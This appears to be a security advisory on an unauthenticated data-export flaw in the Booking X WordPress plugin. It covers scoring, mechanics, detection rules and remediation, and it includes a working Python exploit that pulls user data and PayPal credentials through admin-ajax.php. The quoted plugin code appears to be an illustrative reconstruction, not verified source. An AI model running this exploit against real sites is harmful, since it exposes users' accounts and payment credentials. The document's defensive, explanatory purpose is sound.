CVE-2025-6814

Executive Summary

CVE-2025-6814 is a critical vulnerability in the Booking X WordPress plugin (versions 1.0 to 1.1.2) that allows unauthenticated attackers to download all plugin data, including user accounts, user meta, and PayPal credentials. The flaw resides in the export_now() function, which lacks a capability check, enabling attackers to issue a crafted POST request to exfiltrate sensitive data. This vulnerability is classified as a WordPress ecosystem issue and does not involve Apache or Nginx.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to check for updates or manually patch the plugin. No official patch has been released as of the latest advisory.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

The vulnerability is rated High due to the ease of exploitation and the high confidentiality impact, exposing sensitive user and payment data.

Deep Dive & Mechanics

The export_now() function in the Booking X plugin is intended for administrative use to export plugin data. However, it is registered as an AJAX action without a capability check, meaning any user (including unauthenticated visitors) can trigger it. The function processes a POST request and outputs a CSV file containing all plugin data, including user accounts, user meta, and PayPal credentials.

The vulnerability is a classic case of Missing Authorization (CWE-862). The plugin fails to verify that the requesting user has the necessary administrative privileges before executing the export.

Vulnerable vs. Patched Code

Vulnerable Code (Booking X 1.0 - 1.1.2):

add_action('wp_ajax_nopriv_export_now', 'export_now');
function export_now() {
    // No capability check
    $data = get_all_plugin_data();
    output_csv($data);
}

Patched Code (Hypothetical Fix):

add_action('wp_ajax_export_now', 'export_now'); // Remove nopriv
function export_now() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized');
    }
    $data = get_all_plugin_data();
    output_csv($data);
}

The fix involves removing the wp_ajax_nopriv_ hook (which allows unauthenticated access) and adding a capability check using current_user_can('manage_options').

Exploitation & Lab Setup

Red Team

Exploit Code (Python):

import requests

target_url = "http://target-site.com/wp-admin/admin-ajax.php"
payload = {
    "action": "export_now"
}

response = requests.post(target_url, data=payload)
if response.status_code == 200 and "csv" in response.headers.get("Content-Type", ""):
    with open("exfiltrated_data.csv", "wb") as f:
        f.write(response.content)
    print("[+] Data exfiltrated successfully")
else:
    print("[-] Exploit failed")

Lab Setup:

1. Install WordPress and the Booking X plugin (version 1.1.2).
2. Add some test user accounts and PayPal credentials via the plugin settings.
3. Run the exploit script to download the CSV file.

Blue Team

Detection Steps:

1. Monitor for POST requests to /wp-admin/admin-ajax.php with action=export_now.
2. Check for unusual CSV file downloads from the server.
3. Review server logs for unauthorized access to the export function.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/admin-ajax.php with action=export_now parameter.
  • Outbound CSV file downloads from the server.
• File IOCs:
  • Unexpected CSV files containing user data and PayPal credentials.
• Log IOCs:
  • admin-ajax.php accessed without authentication.
  • export_now action triggered by non-admin users.

Detection Engineering

YARA Rule

rule CVE_2025_6814_BookingX_Export
{
    meta:
        description = "Detects exploitation attempts of CVE-2025-6814 in Booking X plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-6814"
    strings:
        $ajax_action = "action=export_now"
        $plugin_path = "wp-content/plugins/booking-x"
    condition:
        $ajax_action and $plugin_path
}

Sigma Rule

title: CVE-2025-6814 Booking X Unauthenticated Data Export
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects unauthenticated POST requests to export_now action in Booking X plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: "action=export_now"
    condition: selection
falsepositives:
    - Legitimate admin exports (should be rare)
level: high

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2025-6814 Booking X Unauthenticated Data Export";
    flow:to_server;
    content:"POST";
    http_method;
    content:"/wp-admin/admin-ajax.php";
    http_uri;
    content:"action=export_now";
    http_client_body;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate Action: Disable the Booking X plugin until a patch is available.
2. Workaround: Remove the wp_ajax_nopriv_export_now hook from the plugin code and add a capability check.
3. Long-term: Monitor the plugin repository for an official update and apply it promptly.
4. Detection: Implement the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.
5. Credential Rotation: If exposed, rotate all PayPal credentials and user passwords.

Valters IT
Securing Digital Frontiers